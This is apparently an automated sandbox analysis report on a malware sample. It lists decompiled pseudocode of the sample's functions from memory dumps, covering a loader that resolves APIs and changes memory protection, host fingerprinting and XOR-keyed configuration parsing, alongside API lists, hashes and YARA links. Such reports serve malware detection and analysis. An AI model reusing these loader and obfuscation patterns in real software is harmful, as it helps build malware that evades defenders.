GetComputerNameExA.KERNELBASE(00000003,00000000,02F9A306,02F9A307,?,?,02F9A306), ref: 02F954F1

Part of subcall function 02F99039: HeapFree.KERNEL32(00000000,00000000,02F97F18,00000000,?,?,00000000), ref: 02F99045

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: f263cf12439c1fdb39b0745f4aea7aaad9e6280f739de30d994f7d5471a14312
Instruction ID: 981320daf0963b8bf439fb18e8d76caf5e946a92c59a5b3f37367eeca2b25463
Opcode Fuzzy Hash: f263cf12439c1fdb39b0745f4aea7aaad9e6280f739de30d994f7d5471a14312
Instruction Fuzzy Hash: 86F05436A00109BBFF11D6AA9C01EAF76AEDBC5A94F510069AA04D3241EA70DE058B70

Uniqueness

Uniqueness Score: -1.00%

Function 02F98055, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t4;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t14;

				_t14 = 1;
				_t4 = _a8;
				if(_t4 == 0) {
					if(InterlockedDecrement(0x2f9d23c) == 0) {
						E02F9970F();
					}
				} else {
					if(_t4 == 1 && InterlockedIncrement(0x2f9d23c) == 1) {
						_t10 = E02F96A56(_t11, _t12, _a4); // executed
						if(_t10 != 0) {
							_t14 = 0;
						}
					}
				}
				return _t14;
			}

0x02f9805c
0x02f9805d
0x02f98060
0x02f98092
0x02f98094
0x02f98094
0x02f98062
0x02f98063
0x02f98078
0x02f9807f
0x02f98081
0x02f98081
0x02f9807f
0x02f98063
0x02f9809c

APIs

InterlockedIncrement.KERNEL32(02F9D23C), ref: 02F9806A

Part of subcall function 02F96A56: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,02F9807D,?), ref: 02F96A69

InterlockedDecrement.KERNEL32(02F9D23C), ref: 02F9808A

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interlocked$CreateDecrementHeapIncrement
String ID:
API String ID: 3834848776-0
Opcode ID: 329ab4024eaea948216575358483ba9b3715df4e5242042d2abab0828277292d
Instruction ID: 14812f5c8ec6e42eaafda05859f160df8a2602f130275672d6553b505d331765
Opcode Fuzzy Hash: 329ab4024eaea948216575358483ba9b3715df4e5242042d2abab0828277292d
Instruction Fuzzy Hash: E3E04F75A4426557BE316B74DC04B5EF755AB02FC4F054A14F785D4174C752C4908AD1

Uniqueness

Uniqueness Score: -1.00%

Function 02F99318, Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E02F99318(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				short _v20;
				intOrPtr _t15;
				short _t17;
				intOrPtr _t19;
				short _t23;

				_t23 = 0;
				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x2f9d27c; // 0xd0a5a8
				_t4 = _t15 + 0x2f9e39c; // 0x3ca8944
				_t20 = _t4;
				_t6 = _t15 + 0x2f9e124; // 0x650047
				_t17 = E02F99152(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					if(_v20 != 8) {
						_t23 = 1;
					} else {
						_t19 = E02F99FC9(_t20, _v12);
						if(_t19 == 0) {
							_t23 = 8;
						} else {
							 *_a16 = _t19;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x02f99322
0x02f99324
0x02f9932b
0x02f9932c
0x02f9932d
0x02f9932e
0x02f99334
0x02f99339
0x02f99339
0x02f99343
0x02f99355
0x02f9935c
0x02f9938b
0x02f9935e
0x02f99363
0x02f99388
0x02f99365
0x02f99368
0x02f9936f
0x02f9937a
0x02f99371
0x02f99374
0x02f99374
0x02f9937e
0x02f9937e
0x02f99363
0x02f99392

APIs

Part of subcall function 02F99152: SysFreeString.OLEAUT32(?), ref: 02F99231

Part of subcall function 02F99FC9: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,02F97946,004F0053,00000000,?), ref: 02F99FD2
Part of subcall function 02F99FC9: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,02F97946,004F0053,00000000,?), ref: 02F99FFC
Part of subcall function 02F99FC9: memset.NTDLL ref: 02F9A010

SysFreeString.OLEAUT32(00000000), ref: 02F9937E

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: 8b1bd5712305eab52b7e68243b0af9633cb857934010a6678e60df1ecfa488ab
Instruction ID: d1d56bf8bcbd34cee49845b8df4782cbb6e7b4ea181d1b78dd6ae2fc786e440d
Opcode Fuzzy Hash: 8b1bd5712305eab52b7e68243b0af9633cb857934010a6678e60df1ecfa488ab
Instruction Fuzzy Hash: 8E01D432900019BFEF119FA8CC04DAEBBBDFB48784F024929EA11E31A0D3B19954CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 10001FE7, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E10001FE7(void* __eax, intOrPtr _a4) {

				 *0x10004148 =  *0x10004148 & 0x00000000;
				_push(0);
				_push(0x10004144);
				_push(1);
				_push(_a4);
				 *0x10004140 = 0xc; // executed
				L10001BD6(); // executed
				return __eax;
			}

0x10001fe7
0x10001fee
0x10001ff0
0x10001ff5
0x10001ff7
0x10001ffb
0x10002005
0x1000200a

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(10001387,00000001,10004144,00000000), ref: 10002005

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: 797134a9b1f988486b15df9cd10c437d68bca56e1d0ccba6a6193b38078adc0e
Instruction ID: 77fc3a402b1b28792d7a6ab77bf10cd6ea7ed93b7dc72413e294461ac678640d
Opcode Fuzzy Hash: 797134a9b1f988486b15df9cd10c437d68bca56e1d0ccba6a6193b38078adc0e
Instruction Fuzzy Hash: 87C048F8140310ABF620DB019C86FC57AA2B7A4789F224508F200262E8DBB920988A2D

Uniqueness

Uniqueness Score: -1.00%

Function 10001E11, Relevance: 1.3, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E10001E11(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t24;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				intOrPtr* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x1000414c;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x1000414c - 0x63698bc4 &  !( *0x1000414c - 0x63698bc4);
				_t18 = E10001A0F( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x1000414c - 0x63698bc4 &  !( *0x1000414c - 0x63698bc4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x1000414c - 0x63698bc4 &  !( *0x1000414c - 0x63698bc4), _t16 + 0x9c96647d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E1000125B(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t24 = E10001745(_t40, _t44); // executed
						_t29 = _t24;
						if(_t29 == 0) {
							_t26 = E10001179(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E10001DFC(_t42);
					L8:
					return _t29;
				}
			}

0x10001e19
0x10001e1b
0x10001e37
0x10001e48
0x10001e4f
0x10001ead
0x00000000
0x10001e51
0x10001e51
0x10001e5b
0x10001e5f
0x10001e64
0x10001e67
0x10001e6c
0x10001e70
0x10001e75
0x10001e7a
0x10001e7e
0x10001e83
0x10001e84
0x10001e88
0x10001e8d
0x10001e95
0x10001e95
0x10001e8d
0x10001e7e
0x10001e70
0x10001e97
0x10001ea0
0x10001ea4
0x10001eae
0x10001eb4
0x10001eb4

APIs

Part of subcall function 10001A0F: GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,10001E4D,?,?,?,?,?,00000002,?,10001401), ref: 10001A33
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A55
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A6B
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A81
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A97
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001AAD

Part of subcall function 1000125B: memcpy.NTDLL(?,?,?), ref: 10001288
Part of subcall function 1000125B: memcpy.NTDLL(?,?,?), ref: 100012BB

Part of subcall function 10001745: LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 1000177D

Part of subcall function 10001179: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 100011B2
Part of subcall function 10001179: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 10001227
Part of subcall function 10001179: GetLastError.KERNEL32 ref: 1000122D

GetLastError.KERNEL32(?,10001401), ref: 10001E8F

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLastProtectVirtualmemcpy$HandleLibraryLoadModule
String ID:
API String ID: 2673762927-0
Opcode ID: 0740a9f17521f8df7bbe915c9895f6c6409a621ade32a0bd2e8e166a0619371c
Instruction ID: 2043a04cbec374512fa6f71088344ccde69893edc298cb54b1ed822475c5d404
Opcode Fuzzy Hash: 0740a9f17521f8df7bbe915c9895f6c6409a621ade32a0bd2e8e166a0619371c
Instruction Fuzzy Hash: 5A112B7A700756ABE321DBA9CC80DDF77BCEF892947054129FD0197649EAB0FD0687A0

Uniqueness

Uniqueness Score: -1.00%

Function 02F921CD, Relevance: 1.3, APIs: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E02F921CD(void* __ecx, signed char* _a4) {
				void* _v8;
				void* _t8;
				signed short _t11;
				signed int _t12;
				signed int _t14;
				intOrPtr _t15;
				void* _t19;
				signed short* _t22;
				void* _t24;
				intOrPtr* _t27;

				_t24 = 0;
				_push(0);
				_t19 = 1;
				_t27 = 0x2f9d330;
				E02F984D5();
				while(1) {
					_t8 = E02F912D4(_a4,  &_v8); // executed
					if(_t8 == 0) {
						break;
					}
					_push(_v8);
					_t14 = 0xd;
					_t15 = E02F9809F(_t14);
					if(_t15 == 0) {
						HeapFree( *0x2f9d238, 0, _v8);
						break;
					} else {
						 *_t27 = _t15;
						_t27 = _t27 + 4;
						_t24 = _t24 + 1;
						if(_t24 < 3) {
							continue;
						} else {
						}
					}
					L7:
					_push(1);
					E02F984D5();
					if(_t19 != 0) {
						_t22 =  *0x2f9d338; // 0x3ca9b80
						_t11 =  *_t22 & 0x0000ffff;
						if(_t11 < 0x61 || _t11 > 0x7a) {
							_t12 = _t11 & 0x0000ffff;
						} else {
							_t12 = (_t11 & 0x0000ffff) - 0x20;
						}
						 *_t22 = _t12;
					}
					return _t19;
				}
				_t19 = 0;
				goto L7;
			}

0x02f921d5
0x02f921d9
0x02f921da
0x02f921db
0x02f921e0
0x02f921e5
0x02f921ec
0x02f921f3
0x00000000
0x00000000
0x02f921f5
0x02f921fa
0x02f921fb
0x02f92202
0x02f9221c
0x00000000
0x02f92204
0x02f92204
0x02f92206
0x02f92209
0x02f9220d
0x00000000
0x00000000
0x02f9220f
0x02f9220d
0x02f92224
0x02f92224
0x02f92226
0x02f9222d
0x02f9222f
0x02f92235
0x02f9223c
0x02f9224c
0x02f92244
0x02f92247
0x02f92247
0x02f9224f
0x02f9224f
0x02f92258
0x02f92258
0x02f92222
0x00000000

APIs

Part of subcall function 02F984D5: GetProcAddress.KERNEL32(36776F57,02F921E5), ref: 02F984F0

Part of subcall function 02F912D4: RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 02F912FF
Part of subcall function 02F912D4: RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 02F91321
Part of subcall function 02F912D4: memset.NTDLL ref: 02F9133B
Part of subcall function 02F912D4: CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 02F91379
Part of subcall function 02F912D4: GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 02F9138D
Part of subcall function 02F912D4: FindCloseChangeNotification.KERNELBASE(00000000), ref: 02F913A4
Part of subcall function 02F912D4: StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 02F913B0
Part of subcall function 02F912D4: lstrcat.KERNEL32(?,642E2A5C), ref: 02F913F1
Part of subcall function 02F912D4: FindFirstFileA.KERNELBASE(?,?), ref: 02F91407

Part of subcall function 02F9809F: lstrlen.KERNEL32(?,00000000,02F9D330,00000001,02F92200,02F9D00C,02F9D00C,00000000,00000005,00000000,00000000,?,?,?,02F996C1,02F923E9), ref: 02F980A8
Part of subcall function 02F9809F: mbstowcs.NTDLL ref: 02F980CF
Part of subcall function 02F9809F: memset.NTDLL ref: 02F980E1

HeapFree.KERNEL32(00000000,02F9D00C,02F9D00C,02F9D00C,00000000,00000005,00000000,00000000,?,?,?,02F996C1,02F923E9,02F9D00C,?,02F923E9), ref: 02F9221C

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: FileHeap$AllocateFindmemset$AddressChangeCloseCreateFirstFreeNotificationProcTimelstrcatlstrlenmbstowcs
String ID:
API String ID: 983081259-0
Opcode ID: eb1d807357836c940b2a12cf31a712e6183425ef4ba7188cf3410d4df421dadf
Instruction ID: 81aa2435b0713757c65f5cda8b607e478a9f1a40b5e640fc35469af42d5d49b3
Opcode Fuzzy Hash: eb1d807357836c940b2a12cf31a712e6183425ef4ba7188cf3410d4df421dadf
Instruction Fuzzy Hash: 6901D836B00204BAFF106FEADD80F7AB69AEB967E8F500036BF49D6050D7659C519B20

Uniqueness

Uniqueness Score: -1.00%

Function 02F91262, Relevance: 1.3, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02F91262(void** __esi, intOrPtr _a4, unsigned int _a8, void* _a12) {
				signed short _t18;
				void* _t24;
				signed int _t26;
				signed short _t27;

				if(_a4 != 0) {
					_t18 = E02F99318(_a4, _a8, _a12, __esi); // executed
					_t27 = _t18;
				} else {
					_t27 = E02F96BFA(0, 0x80000002, _a8, _a12,  &_a12,  &_a8);
					if(_t27 == 0) {
						_t26 = _a8 >> 1;
						if(_t26 == 0) {
							_t27 = 2;
							HeapFree( *0x2f9d238, 0, _a12);
						} else {
							_t24 = _a12;
							 *(_t24 + _t26 * 2 - 2) =  *(_t24 + _t26 * 2 - 2) & _t27;
							 *__esi = _t24;
						}
					}
				}
				return _t27;
			}

0x02f9126a
0x02f912bf
0x02f912c4
0x02f9126c
0x02f91286
0x02f9128a
0x02f9128f
0x02f91291
0x02f912a1
0x02f912ad
0x02f91293
0x02f91293
0x02f91296
0x02f9129b
0x02f9129b
0x02f91291
0x02f9128a
0x02f912ca

APIs

HeapFree.KERNEL32(00000000,?,00000000,80000002,74B5F710,?,?,74B5F710,00000000,?,02F9743A,?,004F0053,03CA9388,00000000,?), ref: 02F912AD

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: b8638f7843b9126a83d7df30b07a0f565fce0e10bc92a63deb92ccfe78dbb3fa
Instruction ID: 0c0d11f8792459002bab31f14b754910ab401cab3051b15216e871e1184b8052
Opcode Fuzzy Hash: b8638f7843b9126a83d7df30b07a0f565fce0e10bc92a63deb92ccfe78dbb3fa
Instruction Fuzzy Hash: 5E011D3214024AFBEF22AF44CC01FAB7BAAEB947A0F558439FB199A160D731D521DF50

Uniqueness

Uniqueness Score: -1.00%

Function 02F92436, Relevance: 1.3, APIs: 1, Instructions: 36
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E02F92436(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _t15;
				intOrPtr* _t21;

				_t21 = __edi;
				_push( &_v12);
				_push(__edi);
				_v8 = 0x1d4c0;
				_t15 =  *((intOrPtr*)( *__edi + 0xe0))();
				while(1) {
					_v16 = _t15;
					Sleep(0x1f4); // executed
					if(_v12 == 4) {
						break;
					}
					if(_v8 == 0) {
						L4:
						_t15 =  *((intOrPtr*)( *_t21 + 0xe0))(_t21,  &_v12);
						continue;
					} else {
						if(_v8 <= 0x1f4) {
							_v16 = 0x80004004;
						} else {
							_v8 = _v8 - 0x1f4;
							goto L4;
						}
					}
					L8:
					return _v16;
				}
				goto L8;
			}

0x02f92436
0x02f92443
0x02f92444
0x02f92445
0x02f9244c
0x02f9247a
0x02f9247b
0x02f9247e
0x02f92484
0x00000000
0x00000000
0x02f92463
0x02f9246d
0x02f92474
0x00000000
0x02f92465
0x02f92468
0x02f92488
0x02f9246a
0x02f9246a
0x00000000
0x02f9246a
0x02f92468
0x02f9248f
0x02f92495
0x02f92495
0x00000000

APIs

Sleep.KERNELBASE(000001F4), ref: 02F9247E

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: a25982af68d48e2596969862668450d027eb2710217272c1c75c4c7b4f001b69
Instruction ID: 8f66d1e12fb7a40e7d77da60602bc90e6ca88923364df436992e25612d82e5fb
Opcode Fuzzy Hash: a25982af68d48e2596969862668450d027eb2710217272c1c75c4c7b4f001b69
Instruction Fuzzy Hash: 7EF01971D01219FBEF00DB98C588AEDB7B8EF05744F1080AAEA02A3102D3B45A44CF61

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02F94094, Relevance: 9.2, APIs: 6, Instructions: 223
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E02F94094(int* __ecx) {
				int _v8;
				void* _v12;
				void* __esi;
				signed int _t20;
				signed int _t25;
				char* _t31;
				char* _t32;
				char* _t33;
				char* _t34;
				char* _t35;
				void* _t36;
				void* _t37;
				void* _t38;
				intOrPtr _t39;
				void* _t41;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t46;
				intOrPtr _t49;
				signed int _t50;
				signed int _t55;
				void* _t57;
				void* _t58;
				signed int _t60;
				signed int _t64;
				signed int _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t85;
				intOrPtr _t102;

				_t86 = __ecx;
				_t20 =  *0x2f9d278; // 0x63699bc3
				if(E02F98748( &_v12,  &_v8, _t20 ^ 0x8241c5a7) != 0 && _v8 >= 0x90) {
					 *0x2f9d2d4 = _v12;
				}
				_t25 =  *0x2f9d278; // 0x63699bc3
				if(E02F98748( &_v12,  &_v8, _t25 ^ 0xecd84622) == 0) {
					_push(2);
					_pop(0);
					goto L60;
				} else {
					_t85 = _v12;
					if(_t85 == 0) {
						_t31 = 0;
					} else {
						_t80 =  *0x2f9d278; // 0x63699bc3
						_t31 = E02F93F7C(_t86, _t85, _t80 ^ 0x724e87bc);
					}
					if(_t31 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t31, 0,  &_v8) != 0) {
							 *0x2f9d240 = _v8;
						}
					}
					if(_t85 == 0) {
						_t32 = 0;
					} else {
						_t76 =  *0x2f9d278; // 0x63699bc3
						_t32 = E02F93F7C(_t86, _t85, _t76 ^ 0x2b40cc40);
					}
					if(_t32 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t32, 0,  &_v8) != 0) {
							 *0x2f9d244 = _v8;
						}
					}
					if(_t85 == 0) {
						_t33 = 0;
					} else {
						_t72 =  *0x2f9d278; // 0x63699bc3
						_t33 = E02F93F7C(_t86, _t85, _t72 ^ 0x3b27c2e6);
					}
					if(_t33 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t33, 0,  &_v8) != 0) {
							 *0x2f9d248 = _v8;
						}
					}
					if(_t85 == 0) {
						_t34 = 0;
					} else {
						_t68 =  *0x2f9d278; // 0x63699bc3
						_t34 = E02F93F7C(_t86, _t85, _t68 ^ 0x0602e249);
					}
					if(_t34 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t34, 0,  &_v8) != 0) {
							 *0x2f9d004 = _v8;
						}
					}
					if(_t85 == 0) {
						_t35 = 0;
					} else {
						_t64 =  *0x2f9d278; // 0x63699bc3
						_t35 = E02F93F7C(_t86, _t85, _t64 ^ 0x3603764c);
					}
					if(_t35 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t35, 0,  &_v8) != 0) {
							 *0x2f9d02c = _v8;
						}
					}
					if(_t85 == 0) {
						_t36 = 0;
					} else {
						_t60 =  *0x2f9d278; // 0x63699bc3
						_t36 = E02F93F7C(_t86, _t85, _t60 ^ 0x2cc1f2fd);
					}
					if(_t36 != 0) {
						_push(_t36);
						_t57 = 0x10;
						_t58 = E02F96ED2(_t57);
						if(_t58 != 0) {
							_push(_t58);
							E02F9A5D6();
						}
					}
					if(_t85 == 0) {
						_t37 = 0;
					} else {
						_t55 =  *0x2f9d278; // 0x63699bc3
						_t37 = E02F93F7C(_t86, _t85, _t55 ^ 0xb30fc035);
					}
					if(_t37 != 0 && E02F96ED2(0, _t37) != 0) {
						_t102 =  *0x2f9d32c; // 0x3ca95b0
						E02F975E9(_t102 + 4, _t53);
					}
					if(_t85 == 0) {
						_t38 = 0;
					} else {
						_t50 =  *0x2f9d278; // 0x63699bc3
						_t38 = E02F93F7C(_t86, _t85, _t50 ^ 0x372ab5b7);
					}
					if(_t38 == 0) {
						L51:
						_t39 =  *0x2f9d27c; // 0xd0a5a8
						_t18 = _t39 + 0x2f9e252; // 0x616d692f
						 *0x2f9d2d0 = _t18;
						goto L52;
					} else {
						_t49 = E02F96ED2(0, _t38);
						 *0x2f9d2d0 = _t49;
						if(_t49 != 0) {
							L52:
							if(_t85 == 0) {
								_t41 = 0;
							} else {
								_t46 =  *0x2f9d278; // 0x63699bc3
								_t41 = E02F93F7C(_t86, _t85, _t46 ^ 0xd8dc5cde);
							}
							if(_t41 == 0) {
								_t42 =  *0x2f9d27c; // 0xd0a5a8
								_t19 = _t42 + 0x2f9e791; // 0x6976612e
								_t43 = _t19;
							} else {
								_t43 = E02F96ED2(0, _t41);
							}
							 *0x2f9d340 = _t43;
							HeapFree( *0x2f9d238, 0, _t85);
							L60:
							return 0;
						}
						goto L51;
					}
				}
			}

0x02f94094
0x02f94097
0x02f940b7
0x02f940c5
0x02f940c5
0x02f940ca
0x02f940e4
0x02f942e2
0x02f942e4
0x00000000
0x02f940ea
0x02f940ea
0x02f940f1
0x02f94107
0x02f940f3
0x02f940f3
0x02f94100
0x02f94100
0x02f94111
0x02f94113
0x02f9411d
0x02f94122
0x02f94122
0x02f9411d
0x02f94129
0x02f9413f
0x02f9412b
0x02f9412b
0x02f94138
0x02f94138
0x02f94143
0x02f94145
0x02f9414f
0x02f94154
0x02f94154
0x02f9414f
0x02f9415b
0x02f94171
0x02f9415d
0x02f9415d
0x02f9416a
0x02f9416a
0x02f94175
0x02f94177
0x02f94181
0x02f94186
0x02f94186
0x02f94181
0x02f9418d
0x02f941a3
0x02f9418f
0x02f9418f
0x02f9419c
0x02f9419c
0x02f941a7
0x02f941a9
0x02f941b3
0x02f941b8
0x02f941b8
0x02f941b3
0x02f941bf
0x02f941d5
0x02f941c1
0x02f941c1
0x02f941ce
0x02f941ce
0x02f941d9
0x02f941db
0x02f941e5
0x02f941ea
0x02f941ea
0x02f941e5
0x02f941f1
0x02f94207
0x02f941f3
0x02f941f3
0x02f94200
0x02f94200
0x02f9420b
0x02f9420d
0x02f94210
0x02f94211
0x02f94218
0x02f9421a
0x02f9421b
0x02f9421b
0x02f94218
0x02f94222
0x02f94238
0x02f94224
0x02f94224
0x02f94231
0x02f94231
0x02f9423c
0x02f9424a
0x02f94254
0x02f94254
0x02f9425b
0x02f94271
0x02f9425d
0x02f9425d
0x02f9426a
0x02f9426a
0x02f94275
0x02f94288
0x02f94288
0x02f9428d
0x02f94293
0x00000000
0x02f94277
0x02f9427a
0x02f94281
0x02f94286
0x02f94298
0x02f9429a
0x02f942b0
0x02f9429c
0x02f9429c
0x02f942a9
0x02f942a9
0x02f942b4
0x02f942c0
0x02f942c5
0x02f942c5
0x02f942b6
0x02f942b9
0x02f942b9
0x02f942d3
0x02f942d8
0x02f942e5
0x02f942e9
0x02f942e9
0x00000000
0x02f94286
0x02f94275

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,02F923DE,?,63699BC3,02F923DE,?,63699BC3,00000005,02F9D00C,00000008,?,02F923DE), ref: 02F94119
StrToIntExA.SHLWAPI(00000000,00000000,?,02F923DE,?,63699BC3,02F923DE,?,63699BC3,00000005,02F9D00C,00000008,?,02F923DE), ref: 02F9414B
StrToIntExA.SHLWAPI(00000000,00000000,?,02F923DE,?,63699BC3,02F923DE,?,63699BC3,00000005,02F9D00C,00000008,?,02F923DE), ref: 02F9417D
StrToIntExA.SHLWAPI(00000000,00000000,?,02F923DE,?,63699BC3,02F923DE,?,63699BC3,00000005,02F9D00C,00000008,?,02F923DE), ref: 02F941AF
StrToIntExA.SHLWAPI(00000000,00000000,?,02F923DE,?,63699BC3,02F923DE,?,63699BC3,00000005,02F9D00C,00000008,?,02F923DE), ref: 02F941E1
HeapFree.KERNEL32(00000000,02F923DE,02F923DE,?,63699BC3,02F923DE,?,63699BC3,00000005,02F9D00C,00000008,?,02F923DE), ref: 02F942D8

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 3e09933c7f91899a2ea8c59cd284eede9aaca375b098b62ae354d40d26040411
